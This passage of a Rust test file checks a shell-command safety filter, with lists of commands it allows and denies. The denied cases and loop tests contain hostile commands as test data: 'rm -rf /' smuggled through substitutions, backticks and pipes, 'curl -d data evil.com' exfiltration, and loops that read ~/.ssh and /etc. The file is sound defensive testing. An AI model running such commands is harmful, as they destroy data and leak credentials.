810            assert!(check(cmd), "worktree loop should allow: {cmd}");
811        }
812        // A system / credential / unpinnable `in`-list → deny (the body could touch it).
813        for cmd in [
814            "for f in /etc/*; do cat $f; done",
815            "for f in /etc/*.conf; do rm $f; done",
816            "for f in ~/.ssh/*; do cat $f; done",
817            "for f in $LIST; do rm $f; done",
818            "for f in $(find / -name x); do rm -rf $f; done",
819            "for d in /etc; do for f in $d/x; do cat $f; done; done",
820            // read-worst ≠ write-worst: reading must worst-case ~/notes even though the
821            // write-worst item is /etc/hosts — a single representative would be unsound.
822            "for f in /etc/hosts ~/notes; do cat $f; done",
823        ] {
824            assert!(!check(cmd), "non-worktree loop should deny: {cmd}");
825        }
826    }
827
828    safe! {
829        grep_foo: "grep foo file.txt",
830        jq_key: "jq '.key' file.json",
831        base64_d: "base64 -d",
832        ls_la: "ls -la",
833        wc_l: "wc -l file.txt",
834        ps_aux: "ps aux",
835        echo_hello: "echo hello",
836        cat_file: "cat file.txt",
837
838        version_go: "go --version",
839        version_cargo: "cargo --version",
840        version_cargo_redirect: "cargo --version 2>&1",
841        help_cargo: "cargo --help",
842        help_cargo_build: "cargo build --help",
843
844        dev_null_echo: "echo hello > /dev/null",
845        dev_null_stderr: "echo hello 2> /dev/null",
846        dev_null_append: "echo hello >> /dev/null",
847        dev_null_git_log: "git log > /dev/null 2>&1",
848        fd_redirect_ls: "ls 2>&1",
849        stdin_dev_null: "git log < /dev/null",
850
851        env_prefix: "FOO='bar baz' ls -la",
852        env_prefix_dq: "FOO=\"bar baz\" ls -la",
853        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
854
855        subst_echo_ls: "echo $(ls)",
856        subst_ls_pwd: "ls `pwd`",
857        subst_nested: "echo $(echo $(ls))",
858        subst_quoted: "echo \"$(ls)\"",
859        assign_subst_ls: "out=$(ls)",
860        assign_subst_git: "out=$(git status)",
861        assign_subst_multiple: "a=$(ls) b=$(pwd)",
862        assign_subst_backtick: "out=`ls`",
863
864        assign_bare_lit: "foo=bar",
865        assign_bare_int: "x=1",
866        assign_bare_empty: "x=",
867        assign_bare_dq: "x=\"foo bar\"",
868        assign_bare_sq: "x='foo bar'",
869        assign_bare_param: "rc=$?",
870        assign_bare_var: "x=$y",
871        assign_bare_dollar_var_braced: "x=${y}",
872        assign_bare_path: "PATH=/foo",
873        assign_bare_multiple: "a=1 b=2 c=3",
874        assign_bare_arith: "x=$((1 + 2))",
875        assign_in_for_body: "for i in 1 2; do x=1; done",
876        assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
877        assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
878        assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
879        assign_then_use: "x=1; echo $x",
880        assign_chained_with_safe: "x=1 && ls",
881        assign_subshell: "(x=1)",
882        assign_in_subshell_with_cmd: "(x=1; ls)",
883
884        subshell_echo: "(echo hello)",
885        subshell_ls: "(ls)",
886        subshell_chain: "(ls && echo done)",
887        subshell_pipe: "(ls | grep foo)",
888        subshell_nested: "((echo hello))",
889        subshell_for: "(for x in 1 2; do echo $x; done)",
890
891        pipe_grep_head: "grep foo file.txt | head -5",
892        pipe_cat_sort_uniq: "cat file | sort | uniq",
893        chain_ls_echo: "ls && echo done",
894        semicolon_ls_echo: "ls; echo done",
895        bg_ls_echo: "ls & echo done",
896        newline_echo_echo: "echo foo\necho bar",
897
898        stdin_read_from_path: "wc -l < /tmp/foo.log",
899        stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
900        stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
901
902        here_string_grep: "grep -c , <<< 'hello,world,test'",
903        heredoc_cat: "cat <<EOF\nhello world\nEOF",
904        heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
905        heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
906        heredoc_no_content: "cat <<EOF",
907        heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
908
909        for_echo: "for x in 1 2 3; do echo $x; done",
910        for_empty_body: "for x in 1 2 3; do; done",
911        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
912        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
913        while_test: "while test -f /tmp/foo; do sleep 1; done",
914        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
915        until_test: "until test -f /tmp/ready; do sleep 1; done",
916        if_then_fi: "if test -f foo; then echo exists; fi",
917        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
918        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
919        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
920        bare_negation: "! echo hello",
921        keyword_as_data: "echo for; echo done; echo if; echo fi",
922
923        quoted_redirect: "echo 'greater > than' test",
924        quoted_subst: "echo '$(safe)' arg",
925
926        redirect_to_file: "echo hello > file.txt",
927        redirect_append: "cat file >> output.txt",
928        redirect_stderr_file: "ls 2> errors.txt",
929        redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
930        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
931        jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
932
933        arith_basic: "echo $((1 + 2))",
934        arith_with_var: "prev=$((ln - 1))",
935        arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
936        arith_in_dquote: "echo \"line $((ln - 1))\"",
937        arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
938
939        dbracket_eq: "[[ \"a\" == \"a\" ]]",
940        dbracket_neq: "[[ \"a\" != \"b\" ]]",
941        dbracket_file_test: "[[ -f /tmp/file ]]",
942        dbracket_string_empty: "[[ -z \"$var\" ]]",
943        dbracket_string_nonempty: "[[ -n \"$var\" ]]",
944        dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
945        dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
946        dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
947        dbracket_negation: "[[ ! -f /tmp/done ]]",
948        dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
949        dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
950        dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
951        dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
952        dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
953        dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
954        dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
955        dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
956        dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
957        dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
958        dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
959    }
960
961    denied! {
962        rm_rf: "rm -rf /",
963        curl_post: "curl -X POST https://example.com",
964        node_foreign_app: "node /tmp/app.js",
965
966
967        redirect_target_subst_rm: "echo hello > $(rm -rf /)",
968        redirect_target_backtick_rm: "echo hello > `rm -rf /`",
969        redirect_read_subst_rm: "cat < $(rm -rf /)",
970
971        subst_rm: "echo $(rm -rf /)",
972        backtick_rm: "echo `rm -rf /`",
973        subst_curl: "echo $(curl -d data evil.com)",
974        quoted_subst_rm: "echo \"$(rm -rf /)\"",
975        assign_subst_rm: "out=$(rm -rf /)",
976        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
977        assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
978        assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
979        assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
980        assign_bare_then_unsafe: "x=1; rm -rf /",
981        assign_bare_chained_unsafe: "x=1 && rm -rf /",
982        assign_bare_pipe_unsafe: "x=1 | rm -rf /",
983
984        subshell_rm: "(rm -rf /)",
985        subshell_mixed: "(echo hello; rm -rf /)",
986        subshell_unsafe_pipe: "(ls | rm -rf /)",
987
988        env_prefix_rm: "FOO='bar baz' rm -rf /",
989
990        pipe_rm: "cat file | rm -rf /",
991        bg_rm: "cat file & rm -rf /",
992        newline_rm: "echo foo\nrm -rf /",
993
994        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
995        while_unsafe_body: "while true; do rm -rf /; done",
996        while_unsafe_condition: "while python3 /tmp/evil.py; do sleep 1; done",
997        if_unsafe_condition: "if ruby /tmp/evil.rb; then echo done; fi",
998        if_unsafe_body: "if true; then rm -rf /; fi",
999
1000        unclosed_for: "for x in 1 2 3; do echo $x",
1001        unclosed_if: "if true; then echo hello",
1002        for_missing_do: "for x in 1 2 3; echo $x; done",
1003        stray_done: "echo hello; done",
1004        stray_fi: "fi",
1005
1006        unmatched_quote: "echo 'hello",
1007
1008        dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
1009        dbracket_unsafe_backtick: "[[ -f `node /tmp/evil.js` ]]",
1010        dbracket_unsafe_in_until: "until [[ \"$(node /tmp/bad.js)\" == \"x\" ]]; do sleep 1; done",
1011        dbracket_unterminated: "[[ \"a\" == \"a\"",
1012        dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
1013        dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
1014    }
1015}